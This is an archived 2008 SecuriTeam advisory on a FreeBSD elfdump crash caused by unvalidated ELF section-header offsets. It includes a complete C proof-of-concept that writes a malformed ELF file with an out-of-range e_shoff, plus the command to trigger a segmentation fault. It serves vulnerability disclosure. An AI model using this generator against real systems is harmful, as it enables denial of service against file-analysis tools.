

# [UNIX] ELFDump Crash when Analyzing Crafted ELF File

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-02/msg00064.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 15 Feb 2008 09:29:13 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

## ELFDump Crash when Analyzing Crafted ELF File

---

### SUMMARY

Due to the fact that FreeBSD does not validate the data returned by the `le32dec` and `be32dec` functions, and uses them without any restrictions it is possible to cause ELFDump to crash by providing it with a malformed ELF file.

### DETAILS

Vulnerable Systems:

- \* FreeBSD version 5.5
- \* FreeBSD version 6.2
- \* FreeBSD version 6.3

In the main function we can find the following call:

```
offset = elf_get_off(e, (char *)sh + shstrndx * shentsize, SH_OFFSET);
```

`sh`: mapped area with the evil ELF + `e_shoff` (offset of the section header). `e_shoff`, `shstrndx` and `shentsize` are used directly from the mapped ELF.

## [UNIX] ELFDump Crash when Analyzing Crafted ELF File

What is the problem? `elf_get_off`, not verifies if the address is out of range. If we use `e_shoff` in ELF out of range, the application may crash:

```
#define elf_get_off elf_get_quad
u_int64_t
elf_get_quad(Elf32_Ehdr *e, void *base, elf_member_t member)
{
    u_int64_t val;

    val = 0;
    switch (e->e_ident[EI_CLASS]) {
    case ELFCLASS32:
        base = (char *)base + elf32_offsets[member];
        switch (e->e_ident[EI_DATA]) {
        case ELFDATA2MSB:
            val = be32dec(base);
            break;
        case ELFDATA2LSB:
            val = le32dec(base);
            break;
        case ELFDATANONE:
            errx(1, "invalid data format");
            ....

```

When does it crash? It is easy, for example an ELF with `e_ident[EI_CLASS]` is `ELFCLASS32` and `e_ident[EI_DATA]` is `ELFDATA2LSB`, then it executes: `val = le32dec(base);`

`le32dec` is this inline function:

```
static __inline uint32_t
le32dec(const void *pp)
{
    unsigned char const *p = (unsigned char const *)pp;

    return ((p[3] << 24) | (p[2] << 16) | (p[1] << 8) | p[0]);
}

```

This function accesses the memory values of `pp`, if `pp` is not a readable address the application crashes with Segmentation fault: 11

In other words, if we create an evil ELF with an evil `e_shoff` the application crashes. (Also it is possible to create evil `shstrndx`, `shentsize` ...)

David has create a POC exploit which creates an evil ELF to crash `elfdump`. In this exploit the values of `shstrndx` and `shentsize` are filled with 0 for simplicity.

Exploit:

```
#include <stdio.h>
#include <stdlib.h>

```

## [UNIX] ELFdump Crash when Analyzing Crafted ELF File

```
#include <string.h>

#pragma pack(1)

/* ELF DATA
----- */
#define ELFMAG "\177ELF"
#define EI_NIDENT (16)
#define ELFCLASS32 1 /* 32-bit architecture. */
#define ELFDATA2LSB 1 /* 2's complement little-endian. */
#define EI_CLASS 4 /* Class of machine. */
#define EI_DATA 5 /* Data format. */

typedef signed char int8_t;
typedef unsigned char uint8_t;
typedef short int16_t;
typedef unsigned short uint16_t;
typedef int int32_t;
typedef unsigned int uint32_t;

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Off;
typedef uint16_t Elf32_Half;

/* Types for signed and unsigned 32-bit quantities. */
typedef uint32_t Elf32_Word;
typedef int32_t Elf32_Sword;
typedef uint32_t Elf64_Word;
typedef int32_t Elf64_Sword;

typedef struct
{
  unsigned char e_ident[EI_NIDENT]; /* File identification. */
  Elf32_Half e_type; /* File type. */
  Elf32_Half e_machine; /* Machine architecture. */
  Elf32_Word e_version; /* ELF format version. */
  Elf32_Addr e_entry; /* Entry point. */
  Elf32_Off e_phoff; /* Program header file offset. */
  Elf32_Off e_shoff; /* Section header file offset. */
  Elf32_Word e_flags; /* Architecture-specific flags. */
  Elf32_Half e_ehsize; /* Size of ELF header in bytes. */
  Elf32_Half e_phentsize; /* Size of program header entry.
  */
  Elf32_Half e_phnum; /* Number of program header
  entries. */
  Elf32_Half e_shentsize; /* Size of section header entry.
  */
  Elf32_Half e_shnum; /* Number of section header
  entries. */
  Elf32_Half e_shstrndx; /* Section name strings section.
  */

```

## [UNIX] ELFDump Crash when Analyzing Crafted ELF File

```
} Elf32_Ehdr;

/*
-----
*/

/* EXPLOIT HEADER
----- */
#define MIN_ARGS 2
#define NR_FILE 1
#define NR_OFFSET_SHDR 2

#define DEFAULT_FILE_DUMP "elfdump_segfault"
#define DEFAULT_SHDR_OFFSET 0xFFFFFFFF
#define VALUE_FILL_HEADER 0x00

typedef enum BOOL_e
{
FALSE = 0,
TRUE
} BOOL_t;

int exploit( const int, const char * const[] );
int _exploit( const char * const, FILE * const, Elf32_Off );
int GetArgs
(
const int ,
const char * const[] ,
const char ** ,
Elf32_Off * const ,
BOOL_t * const
);
void ShowHelp( void );
/*
-----
*/

/* EXPLOIT SOURCE
----- */
int main( int argc, char * argv[] )
{
int returnf;

returnf = exploit( argc, (const char ** const) argv );

return returnf;
}

int exploit( const int argc, const char * const argv[] )
```

## [UNIX] ELFdump Crash when Analyzing Crafted ELF File

```
{
const char * file_dump_name;
FILE * file_dump_desc;
int returnf;
Elf32_Off offset_shdr;
BOOL_t help;

printf
(
"\n"
" __FBSDID(\ "$FreeBSD: src/usr.bin/elfdump/elfdump.c,\n"
" v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $");\n"
"-----\n"
" + EVIL ELF GENERATOR FOR ELFDUMP – david.reguera@xxxxxxxxxx\n"
" + David Reguera Garcia – INTECO–CERT\n"
"-----\n"
" Note: run it with -h parameter to show help.\n"
"\n"
);

if ( GetArgs( argc, argv, & file_dump_name, & offset_shdr, & help ) ==
-1 )
return -1;

if ( help == TRUE )
{
ShowHelp();
return -1;
}

if ( file_dump_name == NULL )
file_dump_name = DEFAULT_FILE_DUMP;
if ( offset_shdr == 0 )
offset_shdr = DEFAULT_SHDR_OFFSET;

file_dump_desc = fopen( file_dump_name, "wb" );
if ( file_dump_desc == NULL )
{
perror( " Error: Creating evil ELF" );

return -1;
}

returnf = _exploit( file_dump_name, file_dump_desc, offset_shdr );

fclose( file_dump_desc );

return returnf;
}

int _exploit
```

## [UNIX] ELFdump Crash when Analyzing Crafted ELF File

```
(
const char * const file_dump_name ,
FILE * const file_dump_desc ,
Elf32_Off offset_shdr
)
{
Elf32_Ehdr payload;

memset( & payload, VALUE_FILL_HEADER, sizeof( payload ) );

memcpy( payload.e_ident, ELFMAG, sizeof( payload.e_ident ) );
payload.e_ident[EI_CLASS] = ELFCLASS32;
payload.e_ident[EI_DATA] = ELFDATA2LSB;

payload.e_shoff = offset_shdr;

if ( fwrite( & payload, sizeof( payload ), 1, file_dump_desc ) != 1 )
{
printf( " Error: Writting evil ELF" );
return -1;
}
else
{
printf
(
" Evil ELF written using e_shoff: %u, at: %s\n"
" Now, try: elfdump -a %s\n"
,
offset_shdr, file_dump_name, file_dump_name
);
}

return 0;
}

int GetArgs
(
const int argc ,
const char * const argv[] ,
const char ** file_dump_name ,
Elf32_Off * const offset_shdr ,
BOOL_t * const help
)
{
const char * actual_param;
int i;

* file_dump_name = NULL;
* offset_shdr = 0;
i = 1;
* help = FALSE;
```

## [UNIX] ELFDump Crash when Analyzing Crafted ELF File

```
while ( ( i < argc ) && ( * help == FALSE ) )
{
if ( strcmp( argv[i], "-h" ) == 0 )
* help = TRUE;
else if ( i + 1 < argc )
{
actual_param = argv[i + 1];
if ( strcmp( argv[i], "-f" ) == 0 )
* file_dump_name = actual_param;
else if ( strcmp( argv[i], "-o" ) == 0 )
* offset_shdr = atoi( actual_param );
}

i++;
}

return 0;
}

void ShowHelp( void )
{
/* I divide it in two calls, because:
warning: string length `706' is greater than the length `509' ISO
C89
compilers are required to support
*/

puts
(
" Usage: program [-h|-f,-o]\n"
" -h: Show help.\n"
" -f: File to dump the evil ELF. [OPTIONAL]\n"
" -o: e_shoff value of the evil ELF.[OPTIONAL]\n"
"\n"
" The value of e_shoff + mmap of the elfdump must be a non
readable\n"
" address: MOVZX EAX, BYTE PTR [EBX]:\n"
" EBX = (e_shoff + mmap) + (shstrndx * shentsize)\n"
" -\n"
" In this exploit the value of shstrndx and shentsize are filled
\n"
" with 0 for simplicity:\n"
" EBX = (e_shoff + mmap) + (0 * 0)\n"
" EBX = (e_shoff + mmap)\n"
);
printf
(
" And we can control the value of e_shoff with -o param.\n"
" -\n"
" Default values:\n"
" -f: %s\n"
```

## [UNIX] ELFDump Crash when Analyzing Crafted ELF File

```
" -o: %d\n"
" -\n"
" Example of usage:\n"
" program -o 10000 -f evil_elf10000\n"
" -\n"
" [Dreg@ ~/vuln]# elfdump -a evil_elf10000\n"
" Segmentation fault: 11 (core dumped)\n"
"\n"
" Note: This POC exploit may crash the application in some other
\n"
" memory address as well as 0x80488DC, for example inside\n"
" fprintf\n"
"\n"
,

DEFAULT_FILE_DUMP ,
DEFAULT_SHDR_OFFSET
);
}
/*
```

-----  
\*/

/\* EOF \*/

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:david.reguera@xxxxxxxxx>>

David Reguera.

The original article can be found at:

<[http://www.fr33project.org/vulnsexpl/Advisories/ELFDump\\_bin\\_120562/advisory.txt](http://www.fr33project.org/vulnsexpl/Advisories/ELFDump_bin_120562/advisory.txt)>

[http://www.fr33project.org/vulnsexpl/Advisories/ELFDump\\_bin\\_120562/advisory.txt](http://www.fr33project.org/vulnsexpl/Advisories/ELFDump_bin_120562/advisory.txt)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

## [UNIX] ELFdump Crash when Analyzing Crafted ELF File

loss of business profits or special damages.